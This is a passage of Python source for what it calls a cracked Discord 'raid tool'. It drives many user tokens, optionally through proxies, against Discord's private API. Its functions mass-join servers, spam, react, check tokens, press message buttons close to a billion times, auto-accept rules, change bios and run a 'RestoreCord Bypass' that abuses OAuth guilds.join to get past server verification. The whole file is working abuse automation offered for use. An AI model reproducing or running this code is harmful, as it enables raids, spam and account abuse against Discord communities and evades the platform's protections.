rg = re.compile(r"^https:\/\/(ptb.|canary.|)discord.com\/channels\/\d+\/\d+\/\d+$")
if rg.match(msg_link):
guild_id = msg_link.split("/")[4]
channel_id = msg_link.split("/")[5]
message_id = msg_link.split("/")[6]
return {
"guild_id": guild_id,
"channel_id": channel_id,
"message_id": message_id,
}
else:
print(f"{Fore.RED}ERROR: {Fore.LIGHTWHITE_EX}Invalid message link")
return None
def get_message_buttons(bot_token, guild_id, channel_id, message_id, session=None, headers=None, cookie=None):
message = utility.get_message(
bot_token=bot_token,
channel_id=str(channel_id),
message_id=str(message_id),
session=session,
headers=headers,
cookie=cookie
)
if message is None or message.get("code") == 10008:
return None
buttons = []
if "components" not in message or len(message["components"]) == 0:
return None
for component in message["components"]:
if "components" in component:
for button in component["components"]:
buttons.append({
"label": button.get("label"),
"custom_id": button["custom_id"],
"application_id": message["author"]["id"],
})
return buttons
def button_presser():
msg = utility.get_message_info()
if msg is None:
MainMenu()
guild_id = msg["guild_id"]
channel_id = msg["channel_id"]
message_id = msg["message_id"]
buttons = utility.get_message_buttons(
bot_token=random.choice(getTokens()),
guild_id=guild_id,
channel_id=channel_id,
message_id=message_id
)
if buttons == None:
print(f"{w}[{Fore.LIGHTRED_EX}✕{w}] Invalid message id [or message has no buttons] (press enter to continue)")
input()
MainMenu()
for num, button in enumerate(buttons):
print(f"{Fore.LIGHTWHITE_EX}[{Fore.LIGHTGREEN_EX}{num}{Fore.LIGHTWHITE_EX}] Button label: {Fore.LIGHTGREEN_EX}{button['label'].replace(' ', '') if button['label'] != None else 'None'}")
buttonum = input(f"{w}[{Fore.LIGHTBLUE_EX}?{w}] Button Number: ")
for button in buttons:
if buttons.index(button)==int(buttonum):
custom_id = button['custom_id']
application_id = button['application_id']
break
amount = 999999999
amount = int(amount)
utility.start_threads(func=click_button, args=[guild_id, channel_id, message_id, custom_id, application_id, amount])
def accept_rule(guild_id, bot_token, session = None, headers = None, cookie = None):
if session is None or headers is None or cookie is None:
session, headers, cookie = utility.get_client(bot_token)
headers["content-type"] = "application/json"
get_rules = session.get(
f"https://discord.com/api/v9/guilds/{guild_id}/member-verification?with_guild=false",
headers=headers,
cookies=cookie
).json()
req = session.put(
f"https://discord.com/api/v9/guilds/{guild_id}/requests/@me",
headers=headers,
cookies=cookie,
json=get_rules
)
if req.status_code == 201:
print(f"{w}[{Fore.LIGHTGREEN_EX}✓{w}] Accepted Rules")
else:
print(f"{w}[{Fore.LIGHTRED_EX}✓{w}] Failed")
def click_button(guild_id, channel_id, message_id, custom_id, application_id, amount = 999999999, bot_token = None, flags = 0):
try:
session, headers, cookie = utility.get_client(bot_token)
post_data = {
"application_id": str(application_id),
"channel_id": str(channel_id),
"data": {
"component_type": 2,
"custom_id": str(custom_id)
},
"guild_id": str(guild_id),
"message_flags": flags,
"message_id": str(message_id),
"nonce": str(Decimal(time.time() * 1000 - 1420070400000) * 4194304).split(".")[0],
"session_id": str(binascii.b2a_hex(os.urandom(16)).decode('utf-8')),
"type": 3,
}
headers.update({"content-type": "application/json"})
headers.update({"referer": f"https://discord.com/channels/{guild_id}/{channel_id}"}) # discord checks referer now xd
for i in range(amount):
req = session.post(f"https://discord.com/api/v9/interactions", headers=headers, cookies=cookie, json=post_data)
if req.status_code == 204:
print(f"{w}[{Fore.LIGHTGREEN_EX}✓{w}] Pressed!")
else:
print(f"{w}[{Fore.LIGHTRED_EX}✕{w}] Failed! {req.text}")
except Exception as e:
print(f"{w}[{Fore.LIGHTRED_EX}✕{w}] Failed! {str(e)}")
##################################################################
with open('config.json') as f:
data = json.load(f)
consoleGuiName = data['consoleGuiName']
os.system(f"title {consoleGuiName}")
os.system("title XP RAID TOOL CRACKED BY XLJE FULL DECOMPILE BRUH LMAOO")
defaultColor = ColorRGB(data['red'], data['green'], data['blue'])
useProxies = data['useProxies']
hwid = str(subprocess.check_output('wmic csproduct get uuid'), 'utf-8').split('\n')[1].strip();w = Fore.WHITE;b = Fore.BLACK;g = Fore.LIGHTGREEN_EX;y = Fore.YELLOW;c = Fore.CYAN;r = Fore.RED;b = Fore.BLUE;lb = Fore.LIGHTBLUE_EX;d = defaultColor
##################################################################
def getTokens():
with open("data/tokens.txt", "r") as file:
lines = file.readlines()
return lines
def getProxies():
with open("data/proxies.txt", "r") as file:
lines = file.readlines()
return lines
def get_oauth_redirect(client_id):
try:
token = extract(random.choice(get_tokens()))
session, headers, cookie = utility.get_client(token)
return session.get(f"https://discord.com/api/v9/oauth2/authorize?client_id={client_id}&response_type=code", headers=headers, cookies=cookie).json().get("redirect_uri")
except Exception as e:
print(e)
return None
def get_tokens():
with open("data/tokens.txt", "r") as f:
tokens = f.read().strip().splitlines()
tokens = [token for token in tokens if token not in [" ", "", "\n"]]
return tokens
def extract(bot_token):
r = re.compile(r"(.+):(.+):(.+)")
if r.match(bot_token):
return bot_token.split(":")[2]
else:
token = bot_token
return token
##################################################################
def xrhurretetdr(guild_id, bot_id, custom_redirect = None, bot_token = None):
session, headers, cookie = utility.get_client(bot_token)
querystring = {
"client_id":str(bot_id),
"response_type":"code",
"redirect_uri":custom_redirect,
"scope":"identify guilds.join",
"state":str(guild_id)
}
request = session.post(
f"https://discord.com/api/v9/oauth2/authorize",
headers=headers,
cookies=cookie,
params=querystring,
json={"permissions":"0","authorize":True}
)
if "location" in request.text:
answer = request.json()["location"]
result = session.get(answer, headers=headers, cookies=cookie, allow_redirects=True)
if result.status_code in [307, 403]:
print(f"{w}[{Fore.LIGHTGREEN_EX}✓{w}] Bypassed: {bot_token.split('.')[0]}")
else:
print(f"failed {Fore.RED}{request.text}")
else:
print(f"failed {Fore.RED}{request.text}")
def restorebypass():
bot_id = input(f"{w}[{Fore.LIGHTBLUE_EX}?{w}] Client ID: ")
guild_id = input(f"{w}[{Fore.LIGHTBLUE_EX}?{w}] Guild ID: ")
if guild_id == "":
MainMenu()
custom_redirect = get_oauth_redirect(bot_id)
utility.start_threads(func=xrhurretetdr, args=[guild_id, bot_id, custom_redirect])
##################################################################
def AsciiArt():
os.system("cls")
print(" ")
a = f"""
{Fore.GREEN}
██╗ ██╗██████╗
╚██╗██╔╝██╔══██╗
╚███╔╝ ██████╔╝
██╔██╗ ██╔═══╝
██╔╝ ██╗██║
╚═╝ ╚═╝╚═╝
"""
print(a.center(180))
def Login():
AsciiArt()
login = input(f"{w}[{d}•{w}] {w}Login: ")
password = input(f"{w}[{d}•{w}] {w}Password: ")
response = requests.post("http://your_auth_url_here.com/your_file.php", data={"login": login,"password": password,"hwid": hwid})
if response.status_code == 200:
jsondata = json.load(response.text)
if jsondata['failed'] == 0:
MainMenu()
else:
print(f"{Fore.RED}You don't have access.")
time.sleep(3)
Login()
else:
print(f"{Fore.RED}Check your internet connection !")
time.sleep(3)
Login()
def MainMenu():
AsciiArt()
print(f" {d}» {w}Loaded {d}{len(getTokens())} {w}tokens {d}« {d}» {w}Loaded {d}{len(getProxies())} {w}proxies {d}« {d}» {w}Proxies Support? {d}{data['useProxies']} {d}«")
print(f"""
{d}╭───────────────────────────────────────────────╮
{d}│ {d}│
{d}│ {d}«{w}01{d}» {w}Joiner {d}«{w}06{d}» {w}RestoreCord Bypass {d}│
{d}│ {d}«{w}02{d}» {w}Leaver {d}«{w}07{d}» {w}Button Clicker {d}│
{d}│ {d}«{w}03{d}» {w}Spammer {d}«{w}08{d}» {w}Accept Rules {d}│
{d}│ {d}«{w}04{d}» {w}Token Checker {d}«{w}09{d}» {w}Bio Change {d}│
{d}│ {d}«{w}05{d}» {w}Emoji Reaction {d}{w}{d} {w} {d}│
{d}│ {d}│
{d}╰───────────────────────────────────────────────╯{w}
""")
choice = input(f'{w}[{d}Choice{w}] {d}» {w}')
if choice == '1' or choice == '01':
elo = input(f"{w}[{Fore.LIGHTBLUE_EX}?{w}] Invite Code: ")
Joiner(elo)
if choice == '2' or choice == '02':
elo = input(f"{w}[{Fore.LIGHTBLUE_EX}?{w}] Server ID: ")
Leaver(elo)
if choice == '3' or choice == '03':
debil()
if choice == '4' or choice == '04':
Checker()
if choice == '5' or choice == '05':
Reactor()
if choice == '6' or choice == '06':
restorebypass()
if choice == '7' or choice == '07':
button_presser()
if choice == '8' or choice == '08':
utility.start_threads(func=accept_rule, args=[input(f"{w}[{Fore.LIGHTBLUE_EX}?{w}] Guild ID: ")])
print(f"{w}[{Fore.LIGHTGREEN_EX}✓{w}] Done")
time.sleep(5)
os.system('cls')
MainMenu()
if choice == '9' or choice == '09':
eloo = input(f"{w}[{Fore.LIGHTBLUE_EX}?{w}] Bio Text: ")
for token in getTokens():
DiscordTrollery.setBio(DiscordTrollery, token, eloo)
print(f"{w}[{Fore.LIGHTGREEN_EX}✓{w}] Done")
time.sleep(5)
os.system('cls')
MainMenu()
if choice == '10':
Login()
else:
print(f"This option doesnt exists. going back to ui")
time.sleep(2)
MainMenu()
##################################################################
MainMenu()
os._exit(1)